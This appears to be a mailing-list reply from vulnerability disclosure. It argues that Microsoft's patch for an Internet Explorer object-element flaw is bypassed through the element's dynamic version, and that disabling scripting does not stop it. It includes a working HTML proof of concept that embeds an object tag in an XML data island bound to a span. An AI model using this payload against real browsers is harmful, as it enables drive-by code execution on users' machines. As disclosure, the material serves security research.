>The patch for Drew's object data=funky.hta doesn't work:

This is the exact same issue as http://greymagic.com/adv/gm001-ie/, which
explains the problem in detail. Microsoft again patches the object element
in HTML, but it doesn't patch the dynamic version of that same element.

>1. Disable Active Scripting

This actually means that no scripting is needed at all in order to exploit
this amazingly critical vulnerability:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
   <security>
       <exploit>
           <![CDATA[
           <object data=x.asp></object>
           ]]>
       </exploit>
   </security>
</xml>

Ouch.
